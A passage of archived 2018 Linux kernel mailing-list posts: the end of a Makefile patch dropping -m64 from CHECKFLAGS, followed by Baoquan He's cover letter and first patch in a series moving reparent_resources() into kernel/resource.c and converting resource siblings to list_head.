> +++ b/arch/ia64/Makefile
> @@ -18,7 +18,7 @@ READELF := $(CROSS_COMPILE)readelf
>
>  export AWK
>
> -CHECKFLAGS     += -m64 -D__ia64=1 -D__ia64__=1 -D_LP64 -D__LP64__
> +CHECKFLAGS     += -D__ia64=1 -D__ia64__=1 -D_LP64 -D__LP64__
>
>  OBJCOPYFLAGS   := --strip-all
>  LDFLAGS_vmlinux        := -static
> diff --git a/arch/mips/Makefile b/arch/mips/Makefile
> index 5e9fce076..e2122cca4 100644
> --- a/arch/mips/Makefile
> +++ b/arch/mips/Makefile
> @@ -309,9 +309,6 @@ ifdef CONFIG_MIPS
>  CHECKFLAGS += $(shell $(CC) $(KBUILD_CFLAGS) -dM -E -x c /dev/null | \
>         egrep -vw '__GNUC_(|MINOR_|PATCHLEVEL_)_' | \
>         sed -e "s/^\#define /-D'/" -e "s/ /'='/" -e "s/$$/'/" -e 's/\$$/&&/g')
> -ifdef CONFIG_64BIT
> -CHECKFLAGS             += -m64
> -endif
>  endif
>
>  OBJCOPYFLAGS           += --remove-section=.reginfo
> diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
> index 348ae4779..714284ea6 100644
> --- a/arch/parisc/Makefile
> +++ b/arch/parisc/Makefile
> @@ -28,7 +28,7 @@ export LIBGCC
>
>  ifdef CONFIG_64BIT
>  UTS_MACHINE    := parisc64
> -CHECKFLAGS     += -D__LP64__=1 -m64
> +CHECKFLAGS     += -D__LP64__=1
>  CC_ARCHES      = hppa64
>  LD_BFD         := elf64-hppa-linux
>  else # 32-bit
> diff --git a/arch/sparc/Makefile b/arch/sparc/Makefile
> index edac927e4..966a13d2b 100644
> --- a/arch/sparc/Makefile
> +++ b/arch/sparc/Makefile
> @@ -39,7 +39,7 @@ else
>  # sparc64
>  #
>
> -CHECKFLAGS    += -D__sparc__ -D__sparc_v9__ -D__arch64__ -m64
> +CHECKFLAGS    += -D__sparc__ -D__sparc_v9__ -D__arch64__
>  LDFLAGS       := -m elf64_sparc
>  export BITS   := 64
>  UTS_MACHINE   := sparc64
> diff --git a/arch/x86/Makefile b/arch/x86/Makefile
> index 60135cbd9..f0a6ea224 100644
> --- a/arch/x86/Makefile
> +++ b/arch/x86/Makefile
> @@ -94,7 +94,7 @@ ifeq ($(CONFIG_X86_32),y)
>  else
>          BITS := 64
>          UTS_MACHINE := x86_64
> -        CHECKFLAGS += -D__x86_64__ -m64
> +        CHECKFLAGS += -D__x86_64__
>
>          biarch := -m64
>          KBUILD_AFLAGS += -m64
> --
> 2.17.0
>



-- 
Best Regards
Masahiro Yamada


From - Thu Nov 08 21:41:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.ports.ppc64.devel
Subject: [PATCH v5 0/4] resource: Use list_head to link sibling resource
Date: Tue, 12 Jun 2018 11:28:27 +0800
Lines: 100
Approved: news@gmane.org
Message-ID: <20180612032831.29747-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1528774021 14483 195.159.176.226 (12 Jun 2018 03:27:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 03:27:01 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, linuxppc-dev@lists.o
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jun 12 05:26:52 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fSZxJ-0003Ws-5A
	for gln-linux-nvdimm@m.gmane.org; Tue, 12 Jun 2018 05:26:49 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 22DC5211E372E;
	Mon, 11 Jun 2018 20:29:00 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 38D5F211E372D
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Mon, 11 Jun 2018 20:28:58 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 2626E805A532;
 Tue, 12 Jun 2018 03:28:57 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id B90F91134CA2;
 Tue, 12 Jun 2018 03:28:34 +0000 (UTC)
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.8]); Tue, 12 Jun 2018 03:28:57 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.8]);
 Tue, 12 Jun 2018 03:28:57 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10292 gmane.linux.kernel:2791954 gmane.linux.drivers.devicetree:274306 gmane.linux.kernel.pci:73182 gmane.linux.kernel.input:61514 gmane.linux.ports.parisc:28677 gmane.linux.kernel.kexec:20866 gmane.linux.ports.ppc64.devel:158712
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10292>

This patchset is doing:
1) Replace struct resource's sibling list from singly linked list to
list_head. Clearing out those pointer operation within singly linked
list for better code readability.
2) Based on list_head replacement, add a new function
walk_system_ram_res_rev() which can does reversed iteration on
iomem_resource's siblings.
3) Change kexec_file loading to search system RAM top down for kernel
loadin, using walk_system_ram_res_rev().

Note:
This patchset passed testing on my kvm guest, x86_64 arch with network
enabling. The thing we need pay attetion to is that a root resource's
child member need be initialized specifically with LIST_HEAD_INIT() if
statically defined or INIT_LIST_HEAD() for dynamically definition. Here
Just like we do for iomem_resource/ioport_resource, or the change in
get_pci_domain_busn_res().


Links of the old post (Boris pointed out that we should use
https://lkml.kernel.org/r/Message-ID, while it can't be opened from
my side, so paste all of them here.):
v4:
https://lkml.kernel.org/r/20180507063224.24229-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
https://lkml.org/lkml/2018/5/7/36

v3:
https://lkml.kernel.org/r/20180419001848.3041-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
https://lkml.org/lkml/2018/4/18/767

v2:
https://lkml.kernel.org/r/20180408024724.16812-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
https://lkml.org/lkml/2018/4/7/169

v1:
https://lkml.kernel.org/r/20180322033722.9279-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
https://lkml.org/lkml/2018/3/21/952

Changelog:
v4->v5:
  Add new patch 0001 to move duplicated reparent_resources() to
  kernel/resource.c to make it be shared by different ARCH-es.

  Fix several code bugs reported by test robot on ARCH powerpc and
  microblaze.
v3->v4:
  Fix several bugs test robot reported. Rewrite cover letter and patch
  log according to reviewer's comment.

v2->v3:
  Rename resource functions first_child() and sibling() to
  resource_first_chils() and resource_sibling(). Dan suggested this.

  Move resource_first_chils() and resource_sibling() to linux/ioport.h
  and make them as inline function. Rob suggested this. Accordingly add
  linux/list.h including in linux/ioport.h, please help review if this
  bring efficiency degradation or code redundancy.

  The change on struct resource {} bring two pointers of size increase,
  mention this in git log to make it more specifically, Rob suggested
  this.

v1->v2:
  Use list_head instead to link resource siblings. This is suggested by
  Andrew.

  Rewrite walk_system_ram_res_rev() after list_head is taken to link
  resouce siblings.

Baoquan He (4):
  resource: Move reparent_resources() to kernel/resource.c and make it
    public
  resource: Use list_head to link sibling resource
  resource: add walk_system_ram_res_rev()
  kexec_file: Load kernel at top of system RAM if required

 arch/arm/plat-samsung/pm-check.c            |   6 +-
 arch/microblaze/pci/pci-common.c            |  41 +----
 arch/powerpc/kernel/pci-common.c            |  39 +----
 arch/sparc/kernel/ioport.c                  |   2 +-
 arch/xtensa/include/asm/pci-bridge.h        |   4 +-
 drivers/eisa/eisa-bus.c                     |   2 +
 drivers/gpu/drm/drm_memory.c                |   3 +-
 drivers/gpu/drm/gma500/gtt.c                |   5 +-
 drivers/hv/vmbus_drv.c                      |  52 +++---
 drivers/input/joystick/iforce/iforce-main.c |   4 +-
 drivers/nvdimm/namespace_devs.c             |   6 +-
 drivers/nvdimm/nd.h                         |   5 +-
 drivers/of/address.c                        |   4 +-
 drivers/parisc/lba_pci.c                    |   4 +-
 drivers/pci/host/vmd.c                      |   8 +-
 drivers/pci/probe.c                         |   2 +
 drivers/pci/setup-bus.c                     |   2 +-
 include/linux/ioport.h                      |  21 ++-
 kernel/kexec_file.c                         |   2 +
 kernel/resource.c                           | 259 ++++++++++++++++++----------
 20 files changed, 244 insertions(+), 227 deletions(-)

-- 
2.13.6

From - Thu Nov 08 21:41:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.ports.ppc64.devel
Subject: [PATCH v5 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Tue, 12 Jun 2018 11:28:28 +0800
Lines: 192
Approved: news@gmane.org
Message-ID: <20180612032831.29747-2-bhe@redhat.com>
References: <20180612032831.29747-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1528774041 15923 195.159.176.226 (12 Jun 2018 03:27:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 03:27:21 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
 baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jun 12 05:27:12 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fSZxg-0003yR-FV
	for gln-linux-nvdimm@m.gmane.org; Tue, 12 Jun 2018 05:27:12 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 54E8D211E3E03;
	Mon, 11 Jun 2018 20:29:23 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 0DE71211D59B7
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Mon, 11 Jun 2018 20:29:22 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id C593E4023461;
 Tue, 12 Jun 2018 03:29:20 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id E4BA91006EA7;
 Tue, 12 Jun 2018 03:28:57 +0000 (UTC)
In-Reply-To: <20180612032831.29747-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.6]); Tue, 12 Jun 2018 03:29:21 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.6]);
 Tue, 12 Jun 2018 03:29:21 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10293 gmane.linux.kernel:2791955 gmane.linux.drivers.devicetree:274307 gmane.linux.kernel.pci:73183 gmane.linux.kernel.input:61515 gmane.linux.ports.parisc:28678 gmane.linux.kernel.kexec:20867 gmane.linux.ports.ppc64.devel:158713
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10293>

reparent_resources() is duplicated in arch/microblaze/pci/pci-common.c
and arch/powerpc/kernel/pci-common.c, so move it to kernel/resource.c
so that it's shared. Later its code also need be updated using list_head
to replace singly linked list.

Signed-off-by: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Cc: Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>
Cc: Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
Cc: Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>
Cc: Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>
---
v4->v5:
  Fix several code bugs reported by test robot on ARCH powerpc and
  microblaze.

v3->v4:
  Fix several bugs test robot reported. And change patch log.

v2->v3:
  Rename resource functions first_child() and sibling() to
  resource_first_chils() and resource_sibling(). Dan suggested this.

  Move resource_first_chils() and resource_sibling() to linux/ioport.h
  and make them as inline function. Rob suggested this. Accordingly add
  linux/list.h including in linux/ioport.h, please help review if this
  bring efficiency degradation or code redundancy.

  The change on struct resource {} bring two pointers of size increase,
  mention this in git log to make it more specifically, Rob suggested
  this.

 arch/microblaze/pci/pci-common.c | 37 -------------------------------------
 arch/powerpc/kernel/pci-common.c | 35 -----------------------------------
 include/linux/ioport.h           |  1 +
 kernel/resource.c                | 36 ++++++++++++++++++++++++++++++++++++
 4 files changed, 37 insertions(+), 72 deletions(-)

diff --git a/arch/microblaze/pci/pci-common.c b/arch/microblaze/pci/pci-common.c
index f34346d56095..7899bafab064 100644
--- a/arch/microblaze/pci/pci-common.c
+++ b/arch/microblaze/pci/pci-common.c
@@ -619,43 +619,6 @@ int pcibios_add_device(struct pci_dev *dev)
 EXPORT_SYMBOL(pcibios_add_device);
 
 /*
- * Reparent resource children of pr that conflict with res
- * under res, and make res replace those children.
- */
-static int __init reparent_resources(struct resource *parent,
-				     struct resource *res)
-{
-	struct resource *p, **pp;
-	struct resource **firstpp = NULL;
-
-	for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
-		if (p->end < res->start)
-			continue;
-		if (res->end < p->start)
-			break;
-		if (p->start < res->start || p->end > res->end)
-			return -1;	/* not completely contained */
-		if (firstpp == NULL)
-			firstpp = pp;
-	}
-	if (firstpp == NULL)
-		return -1;	/* didn't find any conflicting entries? */
-	res->parent = parent;
-	res->child = *firstpp;
-	res->sibling = *pp;
-	*firstpp = res;
-	*pp = NULL;
-	for (p = res->child; p != NULL; p = p->sibling) {
-		p->parent = res;
-		pr_debug("PCI: Reparented %s [%llx..%llx] under %s\n",
-			 p->name,
-			 (unsigned long long)p->start,
-			 (unsigned long long)p->end, res->name);
-	}
-	return 0;
-}
-
-/*
  *  Handle resources of PCI devices.  If the world were perfect, we could
  *  just allocate all the resource regions and do nothing more.  It isn't.
  *  On the other hand, we cannot just re-allocate all devices, as it would
diff --git a/arch/powerpc/kernel/pci-common.c b/arch/powerpc/kernel/pci-common.c
index fe9733ffffaa..926035bb378d 100644
--- a/arch/powerpc/kernel/pci-common.c
+++ b/arch/powerpc/kernel/pci-common.c
@@ -1088,41 +1088,6 @@ resource_size_t pcibios_align_resource(void *data, const struct resource *res,
 EXPORT_SYMBOL(pcibios_align_resource);
 
 /*
- * Reparent resource children of pr that conflict with res
- * under res, and make res replace those children.
- */
-static int reparent_resources(struct resource *parent,
-				     struct resource *res)
-{
-	struct resource *p, **pp;
-	struct resource **firstpp = NULL;
-
-	for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
-		if (p->end < res->start)
-			continue;
-		if (res->end < p->start)
-			break;
-		if (p->start < res->start || p->end > res->end)
-			return -1;	/* not completely contained */
-		if (firstpp == NULL)
-			firstpp = pp;
-	}
-	if (firstpp == NULL)
-		return -1;	/* didn't find any conflicting entries? */
-	res->parent = parent;
-	res->child = *firstpp;
-	res->sibling = *pp;
-	*firstpp = res;
-	*pp = NULL;
-	for (p = res->child; p != NULL; p = p->sibling) {
-		p->parent = res;
-		pr_debug("PCI: Reparented %s %pR under %s\n",
-			 p->name, p, res->name);
-	}
-	return 0;
-}
-
-/*
  *  Handle resources of PCI devices.  If the world were perfect, we could
  *  just allocate all the resource regions and do nothing more.  It isn't.
  *  On the other hand, we cannot just re-allocate all devices, as it would
diff --git a/include/linux/ioport.h b/include/linux/ioport.h
index da0ebaec25f0..dfdcd0bfe54e 100644
--- a/include/linux/ioport.h
+++ b/include/linux/ioport.h
@@ -192,6 +192,7 @@ extern int allocate_resource(struct resource *root, struct resource *new,
 struct resource *lookup_resource(struct resource *root, resource_size_t start);
 int adjust_resource(struct resource *res, resource_size_t start,
 		    resource_size_t size);
+int reparent_resources(struct resource *parent, struct resource *res);
 resource_size_t resource_alignment(struct resource *res);
 static inline resource_size_t resource_size(const struct resource *res)
 {
diff --git a/kernel/resource.c b/kernel/resource.c
index 30e1bc68503b..5e7c56d5d838 100644
--- a/kernel/resource.c
+++ b/kernel/resource.c
@@ -983,6 +983,42 @@ int adjust_resource(struct resource *res, resource_size_t start,
 }
 EXPORT_SYMBOL(adjust_resource);
 
+/*
+ * Reparent resource children of pr that conflict with res
+ * under res, and make res replace those children.
+ */
+static int reparent_resources(struct resource *parent,
+				     struct resource *res)
+{
+	struct resource *p, **pp;
+	struct resource **firstpp = NULL;
+
+	for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
+		if (p->end < res->start)
+			continue;
+		if (res->end < p->start)
+			break;
+		if (p->start < res->start || p->end > res->end)
+			return -1;	/* not completely contained */
+		if (firstpp == NULL)
+			firstpp = pp;
+	}
+	if (firstpp == NULL)
+		return -1;	/* didn't find any conflicting entries? */
+	res->parent = parent;
+	res->child = *firstpp;
+	res->sibling = *pp;
+	*firstpp = res;
+	*pp = NULL;
+	for (p = res->child; p != NULL; p = p->sibling) {
+		p->parent = res;
+		pr_debug("PCI: Reparented %s %pR under %s\n",
+			 p->name, p, res->name);
+	}
+	return 0;
+}
+EXPORT_SYMBOL(reparent_resources);
+
